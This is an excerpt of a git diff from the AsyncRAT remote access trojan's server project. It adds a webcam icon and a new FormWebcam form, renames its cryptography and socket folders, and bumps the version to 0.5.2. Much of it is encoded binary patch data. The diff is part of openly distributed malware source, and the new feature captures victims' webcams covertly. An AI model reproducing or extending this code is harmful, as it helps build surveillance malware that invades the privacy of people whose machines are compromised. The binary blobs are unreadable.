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 diff --git a/AsyncRAT-C#/Server/Resources/webcam.png b/AsyncRAT-C#/Server/Resources/webcam.png new file mode 100644 index 0000000000000000000000000000000000000000..a8701827e02faf5b59236c20354606b5394342a5 GIT binary patch literal 1184 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKV}maHe)QDTr{15fjQ69#WBR=_|&W3Ia5LpK~K-Z{Ec$qxm)|>{NNs{fGlm(I&T_#|TW1cccy{l|9mS#CeHQQF-&7YdRPd;*nJcE+lgi9hZ7j3WISbIe9d5g}M zEqAMA%7tU4cq=0wdPLr34ACgnEdF)VY~_be+p2(NhqKMB*2`tiy*0JF@60*wX;ZXH z{`w`U=v;pD_<;ZR{+JChN)m4`FAmVW*}zoUW_+`+BkSr^&w|-}h7-@+&U?b7_u4cz^MlzglbPwRA4<4vQ>Xnp5a{7^hc~>4 z(etcUC}*=<`3?jrAhW``x;0?>B6zd*8vX z>~Ham|Gd=l8S6`{qCFq1xnlgy`mKL_q_$Lr?$>pC)yAA>gXW3PDY~|8ftk~?UH(o^ zI}0Yv-Vl4vI`M9XyksqRW^R}6wi6TBns?}`YHFrxtT-S3cFMN<6E8lS_IJ+j*pP&c zs>^n-s_ogo^xl_E6aMnOkdr-;o2eLTb|Yz8@vAGDg}jDWv#vxeILWwGFO}=uk9i(< z*sQO-D2&`b+ezuvS%K11&$Bk~I=Vx-XGQo4r_`)iL9sxMr3ddns{7tMZR6$7z2Ubu z)W5mB%4y<6yDbjACELDsGA61X((;+C|0wNRo#4-|5RV4Q9 z>?K}jYG#*ad};Qc%(yCN>!HxURcqxQn`$QQo$+{<8oR^d#gBtUGxqV8`zN)>&z;9o zaQD-0X0dAj_bLr5BI|ZaFNoRse_=gi(^a0!AKz&M^E88MiEBhjN@7W>RdP`(kYX@0 zFtpS)Fw-@(3^6pfGBvR>Fw{0MvNAAeU;BFniiX_$l+3hB+#0@pa25e-kObKfoS#-w oo>-L1P+nfHmzkGcoSayYs+V7sKKq@G6i^X^r>mdKI;Vst0PZdOO#lD@ literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 407482d..80b58bb 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -75,8 +75,8 @@ - - + + Form @@ -173,6 +173,12 @@ FormTorrent.cs + + Form + + + FormWebcam.cs + @@ -184,6 +190,7 @@ + @@ -225,8 +232,8 @@ - - + + @@ -282,6 +289,9 @@ FormTorrent.cs + + FormWebcam.cs + ResXFileCodeGenerator Designer @@ -307,9 +317,14 @@ + + + + + + - @@ -320,7 +335,6 @@ - @@ -328,7 +342,6 @@ - @@ -336,7 +349,6 @@ - @@ -349,8 +361,6 @@ - - diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index cebca7a..f10b06e 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -1,5 +1,5 @@ -using Server.Cryptography; -using Server.Sockets; +using Server.Algorithm; +using Server.Connection; using System.Collections.Generic; using System.IO; using System.Security.Cryptography.X509Certificates; @@ -16,7 +16,7 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.1"; + public static readonly string Version = "AsyncRAT 0.5.2"; public static object Listview1Lock = new object(); public static object Listview2Lock = new object(); public static object Listview3Lock = new object();